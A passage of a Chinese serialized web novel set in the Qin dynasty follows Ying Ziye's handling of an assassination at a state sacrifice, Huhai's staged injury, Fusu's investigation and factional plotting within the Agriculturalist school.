方才的精血消耗太大,她的内力已所剩无几!
“惊鲵小姐。”
赵弋苍的声音突然从背后传来,重剑架在她脖子上,“还要继续吗?”
田言紫瞳中闪过一丝不甘,但很快又恢复平静。
她缓缓举起双手:“六公子想要什么?”
“你的忠诚。”
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>赵弋苍收起重剑,从怀中取出一个小玉瓶,“这是主上送你的见面礼。”
田言接过玉瓶,打开一看,瞳孔骤然收缩:“这是什么药?”
“清心丹…能解你体内蛛毒,专克罗网**的圣药!”
“主上说了。”
赵弋苍的声音低沉有力,“跟着他,你能得到三样东西!”
“自由,真相,复仇的机会……”
山风呼啸,卷起田言的面纱。
她绝美的容颜在月光下显得格外苍白,紫瞳中的情绪剧烈翻涌。
良久,她突然轻笑一声,将清心丹收入袖中。
“告诉六公子……”
她转身走向悬崖边,紫衣在风中猎猎作响,“我…会给他一份满意的‘投名状’,问他想要什么。”
赵弋苍目送她的身影消失在夜色中,铁面下的嘴角微微上扬。
他转身打了个手势,血鸦们立刻隐入黑暗。
……
六公子府。
书房内,烛火摇曳。
赢子夜负手立于窗前,指尖一枚青玉符箓突然泛起微光。
他轻轻一拂,符箓中传出赵弋苍低沉的声音:
“主上,田言已应。”
赢子夜唇角微扬:“她提了什么条件?”
“只问了您,想要什么样的‘投名状’。”
符箓中的声音带着几分钦佩:“此女城府极深,交手时竟能预判暗河七名血鸦的合击轨迹。”
赢子夜指尖轻叩窗棂:“告诉她,本公子要罗网与朱家两败俱伤。”
他眼中金芒流转,“至于具体如何操作…让她自行决断。”
“诺。”
符箓的光芒渐弱,“还有一事,属下们已经发现了掩日的踪迹……”
话音未落,书房门被轻轻叩响。
赢子夜收起符箓:“进来。”
公孙墨玄一袭青衫踏**内,儒雅的面容罕见地带着凝重:“主上,祭祀大典场地有异动。”
他展开一卷绢布,上面详细绘制着祭坛布局。
“今日子时,三批死士混入仪仗队。”
赢子夜目光扫过绢布:“具体点。”
“第一批伪装成乐师,共十二人,藏身于祭坛东南角的鼓架后方。”
公孙墨玄指尖轻点:“每人袖中藏有淬毒短**。”
“第二批混入侍从,共八人,负责祭品摆放。”
他指向祭坛西侧,“其中三人步履沉稳,应是实力不低的**。”
“最棘手的是第三批。”
公孙墨玄声音压低,“有四个人,替换了原本的火盆侍者,就站在主祭台两侧。”
“到时候…他们就在公子的旁边。”
他抬头看向赢子夜。
“要现在清理掉吗?”
赢子夜轻笑一声:“不必。”
他手指在祭坛中央画了个圈:“让他们留着,本公子倒要看看,这出戏能唱到什么地步。”
公孙墨玄欲言又止:“可万一……”
“没有万一。”
赢子夜转身从书架取下一个玉匣,“传令昭鞅,明日大典,暗河所有人不得靠近祭坛百丈之内。”
公孙墨玄瞳孔微缩:“主上是想……”
“钓鱼总要舍得饵。”
赢子夜打开玉匣,取出一枚紫金色的丹药。
“你去准备吧,本公子要进宫一趟。”
待公孙墨玄退下,赢子夜换上一袭夜行衣。
玄色布料上暗绣的金纹在烛光下若隐若现,如同蛰伏的玄鸟之羽。
他指尖轻弹,烛火应声而灭。
第148章 刺杀来袭!
夜色如墨。
赢子夜的身影如鬼魅般穿过咸阳宫的偏门。
守卫的禁军仿佛没看见一般,任由他长驱直入。
而章台宫外,黑冰台统领却早已单膝跪地,等他前来。
“六公子,陛下已等候多时。”
殿内,始皇帝负手立于巨幅疆域图前,冕旒垂下的玉珠纹丝不动。
听到脚步声,他头也不回:“子夜,朕记得明日才是大典。”
赢子夜深深一揖:“儿臣有要事禀报。”
始皇帝转身,玄色帝袍上的金线玄鸟纹在烛光下栩栩如生:“说。”
“有人在大典安插了死士。”
赢子夜直起身,“儿臣已查明位置,共二十四名,其中四名就在主祭台之上。”
始皇帝眼中精光暴涨,却又瞬间恢复平静:“朕知道了。”
赢子夜从袖中取出那枚紫金丹:“此乃‘九转龙涎丹’,可解百毒。明日大典……”
“你觉得朕会**?”
始皇帝突然大笑,笑声震得梁上灰尘簌簌落下。
他袖袍一挥,案上一盏青铜灯台瞬间化为齑粉!
“就凭这些小把戏?”
赢子夜不慌不忙:“儿臣不敢妄测,只是…钓鱼总要舍得饵。”
始皇帝目光如电扫过赢子夜,突然伸手接过丹药:“你打算如何处置这些人?”
“儿臣愿听父皇决断。”
赢子夜低头。
始皇帝冕旒下的目光深邃难测:“你倒是考虑周全。”
他转身望向窗外,“明日大典,朕会配合你演这场戏。”
玄色袖袍无风自动。
“但那些人,不要赶尽杀绝,暂且留着一两个。”
赢子夜深深一拜:“儿臣明白。”
“还有一事。”始皇帝突然道,“扶苏近日频频向你请教?”
赢子夜面色不变:“长兄勤勉好学,儿臣不过略尽绵力。”
始皇帝轻哼一声:“百家之术可以教,帝王心术……”
他意味深长地顿了顿,“还不到时候。”
“儿臣谨记。”
离开章台宫时,东方已泛起鱼肚白。
赢子夜站在宫墙下,望着渐渐苏醒的咸阳城,眼中精芒流转。
……
晨曦初露,咸阳城郊的祭坛巍峨矗立。
九层玄玉台阶在朝阳下泛着幽光,两侧青铜鼎中燃烧的香料升起袅袅青烟。
赢子夜一袭玄色祭服立于高台之上,金线刺绣的玄鸟纹在晨光中展翅欲飞。
大典开始前,百官已列于广场两侧。
朝服整齐,佩剑肃然。
文武群臣按品阶分列,无人喧哗,无人交头接耳。
钟鼓齐鸣,声震四野。
祭司执香,侍吏擎帛,步伐整齐地依礼而行。
香火缭绕,钟鸣磬动,一如天命昭告人间。
空气仿佛也被这股庄重压得凝滞。
无人敢妄动。
无人敢言语。
只余鸦雀无声的肃穆,铺展开一场冠绝六国的仪式。
“吉时到——”
随着礼官悠长的唱喝声,赢子夜双手捧起青铜酒爵,清冽的酒液缓缓倾入祭坛中央的火焰。
火苗骤然窜高,在空中凝成玄鸟形状,引得百官阵阵惊叹。
“臣,赢子夜,代陛下祭告天地。”
“皇皇昊天,立我烝民,贻我来牟,帝命率育……”
他的声音清朗沉稳,在旷野中回荡,“愿大秦……”
话音未落,祭坛旁的湖水突然炸开!!!
十余道黑影破水而出,寒光凛冽的兵刃直指端坐在龙辇上的始皇帝!
“护驾!”
王贲的怒吼响彻全场。
这位身经百战的老将军瞬间拔剑,奈何距离太远。
李信更是直接从观礼台上跃下,却被两名刺客缠住。
扶苏面色煞白,手中玉笏“啪”地折断。
他踉跄着向前冲去:“父皇!”
却被慌乱的人群撞倒在地。
胡亥眼中闪过一丝异色,突然拔出身旁侍卫的佩剑:“保护父皇!”
他稚嫩的脸上满是“惊慌”,却精准地挡在刺客必经之路上。
一道寒光闪过,胡亥的右臂顿时血流如注!
“十八弟!”
扶苏惊呼。
整个祭坛乱作一团!
百官四散奔逃,唯有始皇帝稳坐龙辇,冕旒下的目光平静如渊。
眼看最先冲到的刺客剑锋已至胸前!
“叮!”
一枚乌黑的铁蒺藜突然从暗处射来,精准地击偏剑刃!
紧接着数十道破空声响起,隐藏在观礼人群中的黑冰台**同时出手!!!
淬毒的暗器如暴雨般倾泻而下,瞬间将三名刺客钉成刺猬。
“别让他们逃了!”
赢子夜的声音穿透混乱。
然而话音未落,数名黑影已然飞掠而出!!
他们动作迅捷,丝毫不恋战!
宛若早有预谋般,直奔外围而去!
守卫试图拦截,却总差半步
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。
就像……对方专门在等他们“反应过来”。
与此同时,另有数名刺客见势已败,竟齐齐咬碎口**囊。
距离最近的黑冰台统领扑身而上,只来得及掐住一人下巴,却见那人嘴角勾起一抹讥讽,七窍瞬间涌出黑血!
转瞬之间,十余具尸体横陈祭坛!
血腥味混着香料的气息,形成一种诡异的芬芳。
赢子夜快步来到始皇帝辇前,单膝跪地:“儿臣护驾不力,请父皇责罚。”
始皇帝缓缓抬手,这个简单的动作却让全场瞬间安静:“起来。”
他的声音不大,却如闷雷滚过每个人心头。
“区区蝼蚁,也配让朕动怒?”
扶苏捂着擦伤的手臂,眼中满是后怕:“父皇,这些刺客…”
“查。”
始皇帝目光扫过在场众人,在胡亥染血的衣袖上略作停留,“朕倒要看看,是谁这么急着找死。”
赢子夜余光一瞥,转身对黑冰台统领道:“验尸。”
统领迅速检查尸体,片刻后回禀:“陛下,所有刺客口中**,身上无任何标记。”
“兵器是常见的制式剑,无法追查来源。”
“废物!”
王贲怒喝,“这么多人混进来,居然……”
“王将军。”
赢子夜扫视殿中,声音冷冽。
“今日祭坛布防图,可有人擅动?”
王翦眉头微蹙:“不曾。”
“那我问你。”
“若是照原图布防,为何北侧护卫临战支援迟滞?”
场中一静!
李斯站出一步:“大典布防由黑冰台全权负责,事前每一环节都报备六公子亲裁。”
“若有人擅动,必有迹可查!!!”
嬴政眸光扫过李斯,最终落在赢子夜身上。
声音低沉,如暮鼓晨钟。
“子夜。”
“此事祭后自会彻查。”
“现在,继续祭祀。”
这四个字一出,满朝文武无不色变!
在这种情形下还要继续大典,这份定力……
“诺。”
赢子夜从容转身,沾血的祭服在风中猎猎作响。
他重新斟满酒爵,声音没有一丝颤抖:
“大秦万年——”
百官下意识跟着呼喊:“大秦万年!!!”
声浪如雷,震得湖面泛起涟漪。
始皇帝端坐辇上,冕旒玉珠纹丝不动,仿佛方才的刺杀不过是一场无关紧要的闹剧。
第149章 责大秦六公子禁足七日!
祭祀结束后,赢子夜身为主持,负责收拾首尾。
此刻,他正独自站在染血的祭坛上。
公孙墨玄悄然而至:“主上,查清了,那些刺客中只有三人是墨家背景,其余…线索都被断得十分干净。”
“这种死士可难找。”
赢子夜冷笑,“倒是舍得下本钱。”
“不如直接揭穿?”
赢子夜摇头:“没有证据的事,何必多言。”
他望向宫城方向,“不过经此一事,父皇心里应该有人选了。”
远处,胡亥正被太医搀扶着登上马车。
他“虚弱”地咳嗽着,脸色苍白,看上去十分疲惫。
而在更远的宫墙上,始皇帝负手而立,玄色帝袍在风中如乌云翻涌。
黑冰台统领跪在身后:“陛下,要加强对各方面的监视吗?”
“不必。”
始皇帝的声音平静得可怕,“朕倒要看看,他们还能翻出什么浪花。”
夕阳西下,将祭坛上的血迹染得愈发刺目。
一场风波看似平息,但咸阳城中的暗流,却比任何时候都要汹涌。
……
午后。
咸阳宫。
麒麟殿内,空气仿佛凝固成了铅块。
文武百官分列两侧,连呼吸都刻意放轻。
殿外黑甲卫的脚步声清晰可闻,每一次靴跟撞击地面的声响,都像敲在众臣心头。
“肃静!”
始皇帝的声音并不大,却如同惊雷炸响。
方才还在窃窃私语的朝臣们立刻噤若寒蝉,有几个胆小的甚至直接跪伏在地!
李斯的玉笏“啪嗒”一声掉在地上,在死寂的大殿中格外刺耳。
赢子夜站在皇子队列首位,玄色朝服上的玄鸟纹在晨光中泛着冷光。
他面色平静,仿佛昨日的刺杀与他毫无干系。
“胡亥。”
始皇帝的目光落在右臂缠着纱布的十八公子身上,“伤势如何?”
胡亥立刻出列,苍白的脸上挤出天真无邪的笑容:“回父皇,太医说只是皮外伤。”
他故意晃了晃包扎好的手臂,“只要父皇没事,儿臣纵是一死也无妨!”
这句话像一滴冷水落进油锅。
一些老臣顿时红了眼眶,纷纷称赞十八公子孝心可嘉。
扶苏站在一旁,手指不自觉地摩挲着衣袖上的血迹,那是他刚才扑向龙辇时擦伤的。
“只是……”
胡亥突然话锋一转,稚嫩的脸上露出“忧虑”。
“这宫中出现刺客,只怕…”
他怯生生地看了眼赢子夜,“儿臣认为不但要追捕刺客,更要彻查宫中上下。”
“毕竟父皇身居帝宫,防护出现此等纰漏,必有内应!”
大殿内温度骤降。
所有人都听明白了。
这是在指责主持祭祀的六公子失职!
李斯微微眯起眼。
他早已察觉胡亥来者不善。
这话虽是责问护卫疏漏。
可在座众臣都知,今天的护仪大典,是由六公子全权操办。
这一番质问,不啻于当众抽脸!
甚至,他的话语中更藏着恶毒的心思——
因为“必有内应”这四个字,听起来太过于刺耳。
李斯沉吟半息,缓缓出列,拱手而立。
“陛下。”
“臣以为,刺客虽狂妄,但能潜入宗庙重地,终归不是一人之过。”
“宗庙祭天,诸部协力。”
“守卫失察,未必全由六公子一人。”
“更何况,大秦法制井然!!”
“若真有疏漏,自有御史究责。”
“如今典仪方毕,便言‘护持不利’。”
“臣恐,未免失公!”
胡亥听完,嘴角微翘,缓缓出列:“丞相大人这话,可就太护短了。”
“今日是何等场合?”
“祖庙大典,陛下亲临!”
“那些贼人竟能持刃直入御前。”
“还叫不失责?”
“那今日若有闪失,谁来负责?”
“您?”
胡亥语气极平,却句句入骨。
李斯眼神一沉。
他能察觉,陛下在静听。
他也知道,此时争得越狠,越容易把公子牵连得深。
可要他现在退让,便等于默认公子失职!!
一时间,他竟无从作答。
众臣神色微变,气氛凝滞至极点!
就在此刻。
赢子夜忽然出列。
他步履沉稳,玄色衣袍在地上拖出一道弧线。
“十八弟所言极是。”
殿内一片哗然!
李斯陡然抬头,却见赢子夜神色如常。
无怒,无惧,无喜。
但,只有他这样的老狐狸才看得出来——
那不是神色如常。
那是竭力克制后的“看似如常”!
那是先把恐惧、愧疚、自责,用冷水泡掉之后,才能维持的“冷静”。
赢子夜缓缓行至殿中,像是在接受命运的裁断!
他声音低沉,带着些微发涩的沙哑:“主祭之责,由我全权承担!”
“护持之过,也自当问责于我。”
“我无怨。”
他低头垂目,语气轻得几不可闻:“只愿父皇无恙……”
这一刻,大殿仿佛连呼吸声都沉了下去。
群臣听闻此言,几乎都感到有些呼吸困难!
甚至…有些哽咽!
要知道,这位可是立功无数,从当初的《定边策》再到平灭墨家机关城…
一直深受陛下信重、欣赏的六公子!!!
只见赢子夜站在龙台下,双手紧握,袖中指节泛白。
但他没有让任何人看到颤抖。
紧接着,他向着始皇帝缓缓跪下,一膝叩地。
“此次祭祀大典由儿臣主持,却让刺客混入,确是儿臣办事不力。”
他抬起头,目光灼灼望向始皇帝,声音竟带上一丝哽咽:“请父皇责罚!!!”
语毕。
朝堂沉寂!
所有人都被这突然的一跪震住了。
一些老臣无奈摇头…
唉,毕竟还是年轻。
而站在下方的胡亥,却忽然勾起嘴角。
一种冷冷的、藏不住的笑意,像冬日冰面下的裂纹,悄然绽开。
他看着赢子夜那张写满“愧疚”的脸。
那声“请父皇责罚”。
还有他那跪得
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正正当当的姿势。
胡亥几乎忍不住要笑出声!
他原本以为六哥会辩解,会把责任推给下人,甚至可能反咬自己一口。
可谁知,
他竟然……这么干脆就认了?
真是识趣。
也真是,太让我失望了。
“唉,没意思~”
胡亥心中叹了口气。
他慢慢垂下眼帘,不动声色地抬起自己包扎好的右手。
手指微曲,纱布在掌心处渗出点点猩红。
他却仿佛没有感觉。
反倒觉得,这痛楚…来得还不够狠!!!
……
良久后。
始皇帝终于开口:“子夜。”
仅仅两个字,却让殿中众人不自觉地屏住呼吸。
赢子夜抬头,正对上冕旒后那双深不可测的眼睛。
“朕命扶苏彻查刺客一事。”
始皇帝的声音平静得可怕,“你…在家反省七日。”
这个处罚轻得不可思议!!!
淳于越忍不住要开口,却被身旁的同僚死死拽住衣袖。
胡亥脸上的笑容僵住了。
就这?
禁足七日?
他张了张嘴,本想说什么,可沉吟片刻,终究没再多言!
现在追着不放的话,就容易落了下乘。
“儿臣领旨。”
赢子夜深深一拜,起身时目光不经意扫过胡亥染血的绷带。
没人发现,他的唇角几不可察地扬了扬。
始皇帝突然起身,玄色帝袍上的金线玄鸟纹无风自动:
“退朝。”
待陛下的身影消失在侧殿,压抑许久的朝堂顿时炸开了锅!!
王贲一把拉住李斯:“丞相,这事……”
李斯却没有立刻作答。
他目光深沉,投向正在“虚弱”地被侍从搀扶的胡亥,又看向缓步走向殿外,似乎已经“疲倦”了的赢子夜,还有扶苏,以及各位公子身上。
良久,他才摇了摇头。
手掌轻轻一压,示意王贲噤声。
“此时不宜多言。”
“六公子既自请受罚,我感觉,他定是早有布局!”
“我们,不该乱了他的章法!”
王贲一愣。
他虽性情耿直,却也不是蠢人,立刻反应过来:“丞相是说……六公子这是在演戏?在引?”
“你觉得…六公子是个什么样的人?”
说到这,李斯却没再开口,望着远处,负手立于原地。
眼神如火,藏锋不露。
……
“六弟!”
扶苏追出大殿,拦住赢子夜,“父皇命我彻查,我…我其实不是……”
赢子夜驻足,看着这位向来温厚的长兄急得满头大汗的样子,难得露出一丝真心的笑意。
“长兄不必为难。”
“查案是你的强项,放手去做便是。”
扶苏攥紧手中的竹简。
“可这明明不是六弟的责任!”
“父皇自有考量。”
说完,赢子夜拍了拍他的肩,“倒是兄长查案,一定不要大意了。”
说罢,他转身走向宫门。
玄色衣袍在朝阳下投下长长的影子,如同一柄入鞘的利剑。
第150章 这只是我与父皇演的戏!
而在殿内角落。
胡亥正“乖巧”地接受太医换药。
纱布揭开时,那道“伤口”其实早已结痂。
若是细看,会发现伤痕的角度过于整齐。
仿佛……是自己划上去的一样。
太医小心翼翼地覆上新纱,匆匆叩首退下。
殿内重归寂静。
不知何时,赵高出现在他身后,声音阴柔,如毒蛇吐信。
“公子伤势如何?”
胡亥甜甜一笑:“多亏老师安排的‘刺客’手法精准。”
他轻轻晃着腿,语气愉快得像是刚做完一场恶作剧:“六哥今日果然还是被吓到了呀。”
赵高袖中的手指却微不可察地动了动:“可老奴总觉得,六公子似乎……”
“你觉得他是装的?”
“就他那一身傲骨,装的出来吗?”
胡亥漫不经心地把玩着染血的纱布。
“无论如何……”
“反正父皇现在心里,已经有了怀疑。”
“至于大哥,他就算把咸阳翻过来,也查不出什么。”
“倒是那些逃走的刺客……”
胡亥走向殿外。
阳光照在他天真无邪的脸上。
却照不进那双异色瞳孔深处的黑暗。
他忽然停下脚步,头也不回地说道:“让他们别急着暴露。”
“要是这么快就被抓到了话……”
“可就不好玩了!”
赵高低头应道:“领命。”
……
六公子府。
寝殿内,赢子夜盘坐在床榻上,周身环绕着淡淡的金色光晕。
窗外夕阳西沉,将他的侧脸镀上一层血色。
突然,房门被轻轻推开,一阵幽香飘入。
“夫君。”
少司命紫衣翩跹,面纱下的眸子满是忧虑。
她手中捧着一碗冒着热气的药膳,指尖却微微发颤:“妾身熬了安神的汤。”
赢子夜缓缓睁开眼,金光在瞳孔中流转:“担心本公子?”
少司命将药碗放在案几上,犹豫片刻才道:“今日朝堂之事…妾身听说了。”
她轻咬下唇,“陛下只是一时震怒,不会当真责罚于你。”
“哈哈哈!”
赢子夜突然大笑,笑声惊飞了窗外栖息的夜鸟。
他伸手将少司命拉到身旁,指尖挑起她的下巴:“谁说本公子担心父皇的信任了?”
眼中精芒大盛,“这不过是我与父皇演的一场戏。”
少司命紫瞳骤缩,面纱无风自动:“戏?”
“想想看。”
赢子夜松开手,从枕下取出一封密函。
“若我真有失职,父皇会只罚我闭门思过七日?”
他冷笑一声。
“胡亥那点小把戏,连你都骗不过。”
少司命接过密函,上面详细记录了刺客使用的**成分。
正是罗**有的风格。
她指尖微微发颤:“所以陛下早就知道……”
“父皇什么都知道。”
赢子夜起身走到窗前,望着远处巍峨的咸阳宫。
“他让我主动请罪,就是要让某些人以为计谋得逞。”
暮色中,他的身影如一把出鞘的利剑。
“胡亥想借机打压我,父皇便将计就计,让扶苏明查,我再暗访。”
少司命恍然大悟:“所以陛下要的从来不是扶苏公子的调查结果……”
“而是让对方放松警惕!!”
赢子夜转身,眼中闪烁着危险的光芒。
“真正的猎手,永远藏在猎物看不见的地方。”
窗外突然传来扑棱棱的声响。
一只信鸽落在窗棂上,脚环上绑着细小的竹筒。
赢子夜取下竹筒,展开里面的绢布,嘴角勾起一抹冷笑:“果然。”
少司命凑近一看,只见绢布上写着:“朱家已联合司徒**等人,集结人马……”
“农家要乱了。”
赢子夜指尖燃起金焰,将绢布焚毁。
“正好让胡亥以为我自顾不暇。”
少司命突然单膝跪地:“夫君需要妾身做什么?”
赢子夜伸手抚过她紫色的长发。
“你什么都不用做。”
他俯身在她耳边低语。
“只要继续当我的‘乖巧贤妻’就好。”
少司命耳尖微红,却坚定地点头:“妾身明白。”
“记住。”
赢子夜直起身,声音骤然转冷。
“接下来无论发生什么,你都不要轻举妄动。”
他望向渐渐暗沉的天际。
“有些人……很快就要按捺不住了。”
说完,他重新盘坐在床榻上,闭目调息。
“去休息吧。”
“这七天,我们要让所有人都以为……六公子真的在闭门思过。”
少司命深深一礼,轻手轻脚地退出房间。
关门时,她最后看了一眼沉浸在金光中的赢子夜。
那个身影仿佛与黑暗融为一体,如同一头蛰伏的巨龙,只待时机一到,便会掀起腥风血雨!
夜风呜咽,卷起庭院中的落叶。
少司命站在廊下,望向胡亥府邸的方向,紫瞳中闪过一丝怜悯。
“可怜的胡亥……”
她轻声自语。
“你根本不知道自己在跟什么样的存在作对。”
远处惊雷炸响,一场暴风雨即将来临。
……
同一时间。
长公子府内。
扶苏独坐案前
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,指尖轻抚着父皇赐下的令牌。
烛火将他的影子投在墙上,显得格外挺拔。
“公子。”
淳于越躬身入内,花白胡须微微颤抖。
“这次陛下让您主查此案,切不可大意啊。”
扶苏抬头,温润的眸子映着烛光:“老师不必担忧。”
“此次,我定不负父皇所托。”
他展开咸阳城防图,修长的手指在几个关键位置画了圈。
“传令下去,四方城门增派三倍兵力,所有出入者需有验、传二证。”
手指又点向几处。
“这些客栈、酒肆,重点排查。”
淳于越惊讶地看着图上密密麻麻的标记:“公子何时……”
“昨夜彻夜未眠,整理了这些。”
扶苏轻咳一声,眼下带着淡淡的青黑。
他取出一卷竹简。
“这是我从黑冰台调来的近三月入城记录,可疑之人已用朱笔标出。”
老儒生接过竹简,只见上面不仅标注了姓名来历,连体貌特征、同行人数都记录详尽。
“这……”
淳于越喉头滚动。
“公子心细如发啊。”
扶苏摇摇头:“比起六弟,还差得远。”
他望向窗外漆黑的夜色。
“老师可还记得《论语》中‘暴虎冯河’之喻?”
“死而无悔者,吾不与也。”
淳于越下意识接道。
“不错。”
扶苏指尖轻点案几。
“查案如用兵,不能只凭一腔热血。”
他忽然压低声音,“我已命人在各城门暗藏医家好手,专验毒物。”
淳于越瞪大眼睛:“公子是怀疑……”
“当时,那些刺客全都在现场服毒**,连一个活口都留不住,必是死士。”
扶苏目光渐冷。
“而能培养出这种死士的……”
他顿了顿,“绝非寻常势力。”
“我打算从他们口中藏服的**,开始查起!”
远处传来打更声。
扶苏起身推开窗户,夜风卷着细雨扑面而来。
“老师,您说儒家讲究‘仁者爱人’。”
他突然问道:“那为何《春秋》又重‘诛心’之论?”
淳于越怔住了。
眼前的扶苏,似乎与往日那个温润如玉的长公子有些不同。
“因为……”
老儒生斟酌着词句,“除恶…亦是扬善。”
扶苏轻轻颔首,转身时烛火将他的侧脸映得半明半暗。
“所以这次,我不会再心软!!!”
庭院里,雨打竹叶的声音渐渐密集。
一滴水珠从屋檐坠落,在石板上溅起细小的水花,转瞬即逝。
第151章 噬牙狱的那些人,也该动一动了!
大泽山深处,魁隗堂的灯火彻夜未熄。
田蜜慵懒地倚在软榻上,手中的烟杆吞吐着粉色雾气。
她眯着眼看向跪在堂下的探子:“查清楚了?那些暗河的老鼠藏在哪?”
探子额头抵地:“回堂主,属下追查多日,发现神农堂最近多了不少生面孔,尤其是朱家身边的那个新厨子,行迹可疑……”
田蜜红唇微扬,烟杆轻敲案几:“有意思~朱老头这是要反啊?”
她突然直起身:“去,把哑奴叫来。”
不多时,一个沉默的身影如鬼魅般出现。
田蜜凑近他耳边低语几句。
哑奴眼中寒光一闪,躬身退下。
待众人退去,屏风后转出一道紫衣倩影。
田言轻咳一声:“小姨这是要动手了?”
“小言儿~”
田蜜笑得花枝乱颤:“罗网既然下令清理暗河,咱们自然要…尽心尽力。”
她意有所指地眨眨眼:“正好借机除掉几个碍眼的。”
田言面纱下的唇角微勾:“小姨英明,不过……”
“怎么?”
“朱家毕竟势力庞大。”
田言轻声道:“若没有确凿证据,恐怕……”
田蜜突然掐灭烟杆:“证据?”
她冷笑一声:“我说谁是暗河,谁就是暗河!”
……
翌日清晨,神农堂外围的三处暗哨同时遇袭。
死者胸前都被烙上了蜘蛛印记。
正是罗网处决敌人的标志!
朱家看着摆在堂前的尸体,面具上的“怒”字狰狞可怖!
“好个田蜜!真当我朱家是软柿子?”
司徒**把玩着铜钱:“老朱,这事蹊跷,田蜜再蠢,也不该这么明目张胆……”
“你还没看出来吗?”
朱家猛地拍碎桌案:“她这是借罗网之名,铲除异己!”
面具突然变成“哀”:“可怜我这三个弟兄,成了别人的牺牲品……”
……
与此同时,田蜜正带着大队人马包围了一处农舍。
她娇笑着对围观的农家弟子道:“今日清理门户,诸位可看好了~”
哑奴破门而入!
片刻后,拎出个满脸是血的汉子。
田蜜烟杆轻挑那人下巴:“说,是谁指使你投靠敌人的?”
汉子艰难抬头:“我…我是朱堂主的人……”
“啪!”
田蜜一耳光甩过去:“还敢污蔑朱堂主?”
她转身对众人道:“这等叛徒,死不足惜!!!”
暗处,田言静静看着这一幕。
当哑奴的**割开那人喉咙时,她紫瞳中闪过一丝满意。
“堂主!”
一名烈山堂弟子匆匆跑来:“刚收到消息,朱家和司徒**正在神农堂内商议对策!”
田蜜脸色微变:“这么快?”
她突然意识到什么,猛地看向田言:“小言儿,你……”
田言无辜地眨眨眼:“小姨,要我去请田虎叔叔支援吗?”
田蜜盯着她看了许久,突然娇笑起来:“好啊,真是我的好侄女~”
她转身时眼中杀意骤现:“去告诉你二叔,就说…朱家要反了!”
山雨欲来风满楼!!
大泽山的上空,乌云正在积聚!
而这场由田言亲手点燃的***,正以惊人的速度烧向**桶。
……
而神农堂内室,烛火摇曳。
朱家那张“怒”字面具在昏暗的灯光下显得格外狰狞。
他矮小的身躯蜷在幕榻中,手指有节奏地敲击着扶手,发出沉闷的声响。
“老朱,都安排妥当了。”
司徒**推门而入,手中铜钱叮当作响,“共工堂那边已经安插了我们的人。”
朱家面具上的表情转为“喜”:“很好。”
他掏出一包药粉推给司徒,“这是‘七日醉’,每日下在值守弟子的饭食里,无色无味,连农家的验毒术都查不出来。”
司徒**接过药包,在指尖捻了捻:“连服七日才会发作?”
“不错。”
朱家面具又变成“哀”:“发作时只会手脚酸软,十二个时辰内无法运功。”
他叹了口气,“都是农家兄弟,没必要伤人性命。”
门外,突然传来三长两短的敲门声。
朱家立刻坐直身子:“进来。”
吴旷闪身入内,脸上还戴着金先生的面具。
他单膝跪地:“朱堂主,我家大哥已经联系上旧部三十七人,都是当年侠魁的亲信。”
朱家面具上的“喜”更加夸张:“好!让他们分散潜伏,行动之日听我号令。”
他忽然压低声音,“田虎那边怎么样?”
吴旷眼中精光一闪:“田虎刚收到田蜜的求援,已经调集蚩尤堂精锐往落魂坡去了。”
“哈哈哈!”
朱家突然大笑,面具瞬间变成“喜”:“田蜜这蠢女人,倒是帮了我们大忙!”
他转向司徒**,“去,把典庆叫来。”
待司徒离去,朱家从暗格取出一幅地图铺在桌上:
“吴旷,你看,七日后正好是田猛忌日,各部堂主都会齐聚烈山堂祭拜!”
他短小的手指在地图上画了个圈,“届时我们的人切断各处要道,你与胜七带人直取魁隗堂!!!”
吴旷仔细查看地图:“田蜜身边有哑奴和数十好手,硬拼恐怕……”
“放心。”
朱家神秘一笑,“我已经买通了魁隗堂的厨子,田蜜最爱吃的桂花糕里,会多加一味‘料’。”
他做了个昏睡的手势,“至于哑奴…自有典庆对付。”
正说着,典庆那铁塔般的身影推门而入。
这个刀枪不入的巨汉躬身行礼时,地板都微微震动:“堂主,您找我?”
朱家面具转为“怒”:“典庆,七日后我要你拖住哑奴,至少一个时辰。”
典庆拍了拍胸膛,发出金属般的闷响:“属下用命担保!!!”
“还有一事。”
朱家突然压低声音,“这几日你暗中看好刘季,那小子嘴快,我怕他坏事。”
吴旷闻言补充:“我也已经安排人手监视各堂的信鸽往来。”
“尤其是往咸阳方向的,一律截下!”
朱家满意地点头,面具又变成“喜”:“考虑周到。”
他忽然想起什么,“对了,田言那丫头……”
“属下试探过。”
吴旷沉声道,“她似乎对田蜜早有不满,或许可以争取。”
朱家沉思片刻:“先不要打草惊蛇,若她真如传言那般聪慧,自会看清形势。”
窗外,传来更夫的梆子声。
朱家起身走到窗前,望着漆黑如墨的夜色:“诸位,农家这盘棋,我们一定要赢。”
他短小的手指猛地攥紧,“为了死去的弟兄,也为了……侠魁令!”
众人肃然。
司徒**突然开口:“老朱,万一罗网派天字级插手……”
“放心。”
朱家面具下的声音突然变得阴冷,“我早已在共工堂的水井里下了‘七日醉’,罗网的人,一个都跑不了。”
吴旷与典庆对视一眼,都从对方眼中看到了震惊。
这个平日里看似圆滑的矮个子,布局竟如此狠辣周密!!
“记住。”
朱家最后叮嘱,“行动
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前夜,以‘月落乌啼’为号。”
众人领命退下。
朱家独自站在窗前,面具上的表情不断变换。
当东方泛起鱼肚白时,那面具最终定格在“喜”上,在晨光中显得格外诡异。
……
六公子府。
书房内,烛火摇曳。
赢子夜指尖轻点案几上的青玉符箓。
符箓泛起幽幽蓝光。
惊鲵清冷的声音从中传出:“朱家已部署完毕,七日后行动。”
赢子夜嘴角微扬:“田虎那边?”
“被田蜜调往落魂坡。”
惊鲵的声音带着几分讥诮:“那蠢女人真以为我要帮她。”
符箓另一头传来衣袂翻飞的声音。
显然惊鲵正在快速移动。
赢子夜指尖轻叩桌面:“你的‘投名状’准备好了?”
“三日前,我已将罗网在农家的据点透露给朱家。”
惊鲵顿了顿:“另外,田蜜身边的哑奴……其实是田猛旧部。”
赢子夜眼中精光一闪:“有意思,继续盯着,按计划行事!”
刚结束通话,另一枚青玉符箓突然亮起。
赵弋苍低沉的声音传来:“主上,暗河密探回报,朱家在共工堂水井下药。”
赢子夜轻笑:“老狐狸倒是狠辣。”
他起身走向窗前:“噬牙狱那些‘客人’,也该活动活动了。”
赵弋苍的声音带着几分迟疑:“那些人……恐怕还无法完全控制。”
“无妨。”
赢子夜指尖燃起一缕金焰:“告诉他们,乖乖听话,事后有他们的好处。”
金焰骤然暴涨:“若敢违令……”
符箓那头的赵弋苍不自觉地绷直了脊背:“属下明白!”
收起符箓,赢子夜从暗格取出一枚青铜虎符。
虎符上的铭文在烛光下泛着血色。
这是掌管噬牙狱死士的凭证。
